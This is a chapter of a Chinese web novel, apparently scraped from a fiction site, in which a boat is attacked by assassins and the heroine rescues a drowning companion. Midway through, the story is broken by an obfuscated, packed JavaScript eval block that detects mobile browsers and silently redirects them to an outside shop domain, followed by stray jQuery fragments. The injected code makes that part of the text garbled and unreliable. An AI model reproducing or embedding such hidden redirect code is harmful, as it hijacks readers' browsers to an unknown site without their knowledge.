文趣网 > 其他小说 > 死后竹马小将军后悔了 > 10. 两心渐离(一)
    周围船上跳上数个蒙面黑衣人,手拿长刀,目的明确,冲着裴怀疏和崔行月砍过来。

    雪白刀光一闪,裴怀疏下意识推开身边纪苔花,迎面擒了黑衣人一只手,狠狠一扭,那人惨叫一声,他另一只手夺刀反手划开,将人踹下水。

    船上众人瞬间乱成一团,人群撞来撞去,有人尖叫“杀人啦”,船身狠狠一震,黑衣人跳上去,砍碎上方的帆,船在江面原地打转。

    黑衣人刀刀冲着见血去,裴怀疏旋身挡了几人,那边崔行月被他们步步逼退,后背抵上船尾栏杆。

    人群混乱地躲入船舱,纪苔花裹在众人间,挤进舱内,往外一看,甲板上只剩下那些黑衣人,他们将裴怀疏与崔行月分离开,逐个击破。

    还真有刺客!

    裴怀疏叮嘱过她,遇到刺客只管躲着,千万别出来。他被黑衣人划了好几刀,血将衣裳浸透,退到了甲板夹角处,面前数个黑衣人持刀逼近。

    这怎么能眼睁睁看着不管!

    纪苔花转身挤入房间,取出包袱里的铁剑,握着剑冲出去!

    浓重的血腥气扑面,她的手抖个不停。

    她只拿过菜刀,杀过鸡和兔子,人的血她还没见过......地上瘫倒数具黑衣人尸首,从他们伤口流出的鲜血直流到她脚下。

    黏黏糊糊,还是温热的。

    苔花不敢看底下,目光定在围着裴怀疏的那圈黑衣人,卯足了一口气跑过去,双手高高举起剑,戳!

    许是他们没料到还有人冲出来,竟真的让她戳进一个黑衣人的后胸,刺入血肉的真实触感顺着剑传过来。

    纪苔花感到一阵恶心,头晕眼花,咬着牙死死抓着剑柄,将剑拔出,剑尖湿哒哒往下滴血。

    她满脑门冒冷汗,几乎脱力了。

    因这变故,包围圈破了个缺口。

    旁边的黑衣人反应过来,手中刀反横,刀光当面砍下。

    纪苔花举剑去挡,虎口一麻,剑立即脱了手,往后飞去。大刀再无阻挡,雪光凝成一条线,逼近眼前。

    “苔花!”裴怀疏身影冲过来,刀没入他后背,响起令人肉痛的闷声。

    纪苔花心脏跳得要蹦出胸口,对上少年带着痛楚的琥珀色眼眸,他脸庞沾着血,眉眼紧皱,生出几分陌生的、血腥气的狠戾。

    裴怀疏反手一刀割了那人的喉咙,揽住纪苔花的腰,急速冲出破口,语气变了调:“你出来干嘛?!不是让你躲好吗!”

    “我,我想救你,我怕你真死了......”纪苔花这时才后怕,哆嗦地抓紧他的衣服,却摸到一手浸透的温血。

    “笨蛋!我哪那么容易死?”裴怀疏带着她旋身后退,边退边打。

    黑衣人继续扑上来,他护着她,身上又添不少伤。

    苔花眼前一片晃成残影的刀光,她心跳砰砰砰,后背贴着少年胸膛,他的心跳也很急促,手中刀稳而准,挡开每一处攻击。

    置身危险之中,似乎时刻就要殒命,却升起不合时宜的......心动。

    少年怀抱温暖,喘息炙热,砸在她颈侧。

    “裴怀疏!”纪苔花大声喊,“我要怎么样才能帮你!”

    “那就为我祈祷!你身上带着我的长命锁,开过光的,你向佛祖祷告,求老天赐给我们一场生机!”裴怀疏避过一刀,抱着她跳上栏杆。

    高处风声猎猎,纪苔花脸上吹得全是发丝,她真的闭上眼,心中祈求上苍。

    佛祖,求您了。让我们平安到京城吧,让裴怀疏不要再受伤了。

    “轰隆——”

    天色骤变,狂风四起,水浪翻涌。

    原本在江中心打转的船,受水浪推力,直直向码头飘去。

    黑衣人互相对视一眼,等上了岸,就杀不了这两人了。他们提刀攻势更重,船身一荡,又是一荡,几个人晃得东倒西歪,连站都站不稳。

    纪苔花伸出手牢牢抓住围栏,转头去看裴怀疏。

    裴怀疏几乎成了个血人,后背的刀口汩汩不断流血,手指用力抓着扶栏,嘴里吐出一口血,嘟囔:“痛死了......”

    苔花眼眸泛起一层泪,“你,这刀本来是砍我的,我、我......”

    “哎?你可别哭啊,我没手替你擦眼泪了。”裴怀疏喘得厉害,抬起脸对她笑了一下,“我说了要保护你的,说到做到,我从不撒谎。”

    纪苔花忍下了泪,坚定道:“如果再打起来,我就找个地方躲好,你不用管我了。”

    她意识到,自己这种武力值,出来就是找死,还害裴怀疏替她挡了一刀。

    裴怀疏“嗯”了声,望了眼码头渐近:“应该不用打了,码头有官兵驻守,我就不信他们还敢出手。”

    “上天还真给了我们一场生机。”他挑了个眉:“怎么样?我的锁灵不灵,我厉不厉害?”

    纪苔花觉得他真是,都这个时候了,她也随着他弯了弯唇,夸赞道:“厉害,很灵。还好有你。”

    裴怀疏:“那是当然了,不过也还好有苔花你在,不然我才没这么好运。”

    纪苔花心想:若不是护着自己,他哪用受这么多伤呀。

    裴怀疏抬刀往前指,血染半张脸,笑意森森,露出一颗虎牙:“围殴我是吧?马上到岸了,你们就等着官兵收拾你们吧!”

    见时机已失,领头的黑衣人喊了句“撤”,数道黑影跳回江面小船,船舱里躲着的人也好奇地涌上来几个。

    纪苔花松了口气,四处看了圈。

    崔大哥呢?

    “别走!你们到底是谁派来的?”青年厉喝声在船尾响起。

    崔行月挥剑拦住一名黑衣人,那人反身回挡,与他缠斗,刀声撞鸣。

    苔花着急:“崔大哥!我怎么去帮崔大哥呀?”

    裴怀疏撕下衣摆,绑手臂的刀伤,看了一眼就收回目光:“不用帮,才一个刺客,他要是打不过,还当什么少卿。”

    船身剧烈一荡,苔花脚下一滑,攥着杆子稳住身体,听见两道“扑通”落水声。

    她抬起头,崔行月与黑衣人缠斗的地方空空如也。

    裴怀疏:“啧!崔行月这人不会水!”

    纪苔花想也没想:“我去救他!”提起裙子,一溜烟跑到船尾,深吸一口气,跳下去。

    跳下去的时候,那边又响起一道落水声,以及裴怀疏的声音:“怎么又有人掉下去了?下饺子啊?”

    她没多想,径直游向崔行月。

    崔行月正在江水中挣扎,望见她似要开口,一股浪涌过来,他呛了口水,瞬时脸色通红,渐渐无力地沉下去。

    他扑腾的水花越来越小。

    纪苔花心中一凛,加快速度,等她游到那,江面已经平息了。她憋着气往下沉,游了一会,终于看到崔行月,伸手捞住他的手臂,用力往上游去。

    崔行月看着瘦,怎么这么重!

    好几次,她脱力没拉住,差点呛水。

    只好换了方式,从崔行月身后抱住他的腰,一只手划水,默默念:

    纪苔花!你不会武功,打不了刺客,还害得裴怀疏来保护你,这是唯一你能发挥作用的时候,不能不行!

    苔花死死咬住牙关,往上游。拼命往上游!

    马上就上岸了!

    “咳!”终于拖着崔行月上岸,纪苔花也呛了几口水,咳了几声,立即去看崔行月的情况。

    青年紧闭双眼,湿透的发丝沾在脸上,面色唇色惨白。

    纪苔花压着他胸口,用力按压,一边喊:“崔大哥!你醒醒!”

    “噗——咳!”崔行月唇中吐出水,睁眼醒了过来,他眼神有点儿涣散,“苔花?”

    纪苔花跪在他身边,浑身湿哒哒往下滴水,形容狼狈,却是劫后余生,她撇了下眉,想哭又想笑,喊道:“上岸了,我们安全了!”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17963695|214392||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    崔行月也笑了:“是,安全了。”

    码头两队红衣官兵驻守,船缓缓靠岸,人群蜂涌而出。天上雷云忽然散去,太阳再无遮蔽,洒下温暖日光。

    纪苔花抬头看太阳,身上暖融融的,感觉她的魂儿从方才那场惊心动魄的刺杀中回来了。

    苔花和崔行月相扶着站起身,两人从浅滩上岸,离码头有一段距离,只能隐隐约约看到许多人下了船。

    “崔大哥,裴怀疏伤的特别重,我们快去找他吧!”纪苔花远远望向靠岸的船,往前走了一步。

    身侧青年闷哼一声。

    她回过头,崔行月走动一步,肩膀、胸口的伤涌出鲜血,他一身蓝衣也被染红了大半,脚下已滴了一滩血水。

    “崔大哥,你的伤......”

    崔行月轻轻摇头:“我没事,先去找裴小将军。”

    纪苔花特别羞愧,她怎么没看到崔大哥也受了这么重的伤,还催着他去找裴怀疏,她也太不算朋友了吧!

    她两颊发热,上前扶住崔行月:“你走路往下流血呢,怎么没事呀?你先休息一会。”把他扶到一颗大石头后靠着,将衣服撕成布条。

    “崔大哥,你忍着点。”苔花环过他的身体,她准备先绑住他胸前和手臂较深的伤口。

    耳边崔行月呼吸时轻时重,她生怕又弄痛他,动作小心翼翼,缠完了,正要退开,忽看到他通红的耳朵。

    “苔花,你救了我,救命之恩无以为报。”崔行月眼瞳乌黑,映着光,仿佛眸中溢满情意。

    距离过近,纪苔花一下儿撞进他的眼神。

    崔行月继续道:“若你愿意,我......”

    纪苔花慌忙往后退,不敢直视他,左看右看,嘴里说:“我们是朋友,说什么救不救命的呀,崔大哥,我,我。”

    “我”了好几声,她捏着裙子,低头道:“反正我什么伤都没有,我先去找裴怀疏,你好好休息,我过会再来找你!”

    崔行月默了默,“也好。”

    纪苔花莫名松了口气,转身向码头的方向走。刚才那情形,怎么跟话本子里救命之恩,以身相许似的。

    别想了别想了,崔大哥肯定不是那个意思!

    她一路跑到码头,除了驻守的两队红衣官兵,以及来往的船夫,裴怀疏的影子都没看见。

    船靠着岸,苔花正要上去找找,被船夫拦下。

    船夫满脸晦气:“干嘛呢?船不开了啊,没看见我这船都被砍坏了么?”

    “不是,我想上去找人。”纪苔花比划,“就是刚才在船上和那些黑衣人打的少年,他身上都是血,他下船了吗?”

    船夫道:“我还想找他呢,平白无故招了那些人砍坏我的船,我要找他赔钱!你认识他?那就你赔!”

    眼见船夫伸手要拽,纪苔花连连摆手:“不认识,我就好奇问问。”她赶紧跑远。

    裴怀疏不在船上,那他会在哪?不会也和他们一样落水了吧?

    很有可能。

    那个时候听到落水声,裴怀疏好像跳下去救人了。

    纪苔花跑遍四周,气喘吁吁,身上湿透的衣服被风干,又被汗水浸湿。她抹了把脑门的汗,继续往前找。

    “裴怀疏!听到了你就应一声,裴怀疏——”

    终于功夫不负有心人,行至一片青苔岸边,周围杂草丛生,自草隙中看到了裴怀疏的脸。

    他躺在草里,闭着眼睛。

    纪苔花跑过去,近了,才发现并不是裴怀疏一人,有名面容清丽的少女跪坐在他身侧。

    她莫名地停住了脚步。

    那少女浑身湿透,似也是从水中游起,如出水芙蓉一般,肌肤雪白,唇色淡粉,眉眼笼罩一股清贵之气,像是贵人家的小姐。

    少女十指纤纤,按压在裴怀疏心口,按了三下,手指转而抬起他下巴,俯身亲上少年的唇。

    两片淡色的唇相贴。